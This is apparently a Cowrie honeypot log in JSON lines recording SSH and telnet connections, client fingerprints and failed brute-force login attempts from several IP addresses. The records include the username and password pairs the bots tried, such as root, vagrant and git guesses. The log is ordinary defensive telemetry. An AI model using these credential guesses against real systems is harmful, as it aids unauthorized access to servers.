{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:32.544033Z","src_ip":"103.27.238.114","session":"18bde3031455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfhfnt","message":"login attempt [root/rfhfnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:33.387628Z","src_ip":"103.27.238.114","session":"18bde3031455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:34.673326Z","src_ip":"103.27.238.114","session":"18bde3031455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52840,"dst_ip":"159.203.135.109","dst_port":22,"session":"3375474cc92a","protocol":"ssh","message":"New connection: 160.187.174.22:52840 (159.203.135.109:22) [session: 3375474cc92a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:34.873100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:34.877061Z","src_ip":"160.187.174.22","session":"3375474cc92a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:35.106910Z","src_ip":"160.187.174.22","session":"3375474cc92a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"123456","message":"login attempt [elsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:35.794366Z","src_ip":"160.187.174.22","session":"3375474cc92a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.832467794418335,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:36.660704Z","src_ip":"170.64.224.25","session":"a5ccb499e63b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:56:37.028063Z","src_ip":"160.187.174.22","session":"3375474cc92a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":39826,"dst_ip":"159.203.135.109","dst_port":22,"session":"d527c796bf0a","protocol":"ssh","message":"New connection: 160.187.174.22:39826 (159.203.135.109:22) [session: d527c796bf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:01.951883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:01.956057Z","src_ip":"160.187.174.22","session":"d527c796bf0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:02.196695Z","src_ip":"160.187.174.22","session":"d527c796bf0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:02.914799Z","src_ip":"160.187.174.22","session":"d527c796bf0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:04.155128Z","src_ip":"160.187.174.22","session":"d527c796bf0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":51876,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a025dd19e39","protocol":"ssh","message":"New connection: 192.169.244.109:51876 (159.203.135.109:22) [session: 1a025dd19e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:08.229521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:08.233320Z","src_ip":"192.169.244.109","session":"1a025dd19e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:08.298231Z","src_ip":"192.169.244.109","session":"1a025dd19e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1ttr3x#S3cur3!","message":"login attempt [root/B1ttr3x#S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:08.508011Z","src_ip":"192.169.244.109","session":"1a025dd19e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:09.576975Z","src_ip":"192.169.244.109","session":"1a025dd19e39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39324,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd46a363a0ee","protocol":"telnet","message":"New connection: 170.64.224.25:39324 (159.203.135.109:23) [session: bd46a363a0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:19.606669Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":44892,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebd4d59ec7a7","protocol":"ssh","message":"New connection: 143.20.185.207:44892 (159.203.135.109:22) [session: ebd4d59ec7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:20.093946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:20.100997Z","src_ip":"143.20.185.207","session":"ebd4d59ec7a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:20.251099Z","src_ip":"143.20.185.207","session":"ebd4d59ec7a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS#4VCPU16GBAMD","message":"login attempt [root/XYZZVPS#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:20.865050Z","src_ip":"143.20.185.207","session":"ebd4d59ec7a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:21.985203Z","src_ip":"143.20.185.207","session":"ebd4d59ec7a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":35464,"dst_ip":"159.203.135.109","dst_port":22,"session":"fae29551d1af","protocol":"ssh","message":"New connection: 160.187.174.22:35464 (159.203.135.109:22) [session: fae29551d1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:29.585224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:29.589175Z","src_ip":"160.187.174.22","session":"fae29551d1af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:29.829088Z","src_ip":"160.187.174.22","session":"fae29551d1af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:30.550335Z","src_ip":"160.187.174.22","session":"fae29551d1af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:31.798425Z","src_ip":"160.187.174.22","session":"fae29551d1af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":48514,"dst_ip":"10.17.0.5","dst_port":22,"session":"802486b38e1b","protocol":"ssh","message":"New connection: 162.215.213.210:48514 (10.17.0.5:22) [session: 802486b38e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:47.323387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:47.327163Z","src_ip":"162.215.213.210","session":"802486b38e1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:47.411316Z","src_ip":"162.215.213.210","session":"802486b38e1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samourai","password":"samourai123","message":"login attempt [samourai/samourai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:47.661880Z","src_ip":"162.215.213.210","session":"802486b38e1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:49.608729Z","src_ip":"162.215.213.210","session":"802486b38e1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.8966166973114,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:56.503162Z","src_ip":"170.64.224.25","session":"bd46a363a0ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":44954,"dst_ip":"10.17.0.5","dst_port":22,"session":"5549b3cb53b6","protocol":"ssh","message":"New connection: 103.15.222.183:44954 (10.17.0.5:22) [session: 5549b3cb53b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:56.887327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:56.891391Z","src_ip":"103.15.222.183","session":"5549b3cb53b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:57.121176Z","src_ip":"103.15.222.183","session":"5549b3cb53b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44262,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2f73b3077eb","protocol":"ssh","message":"New connection: 160.187.174.22:44262 (159.203.135.109:22) [session: e2f73b3077eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:57.770377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:57.775621Z","src_ip":"160.187.174.22","session":"e2f73b3077eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200719","message":"login attempt [root/200719] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:57.816438Z","src_ip":"103.15.222.183","session":"5549b3cb53b6","protocol":"ssh"}
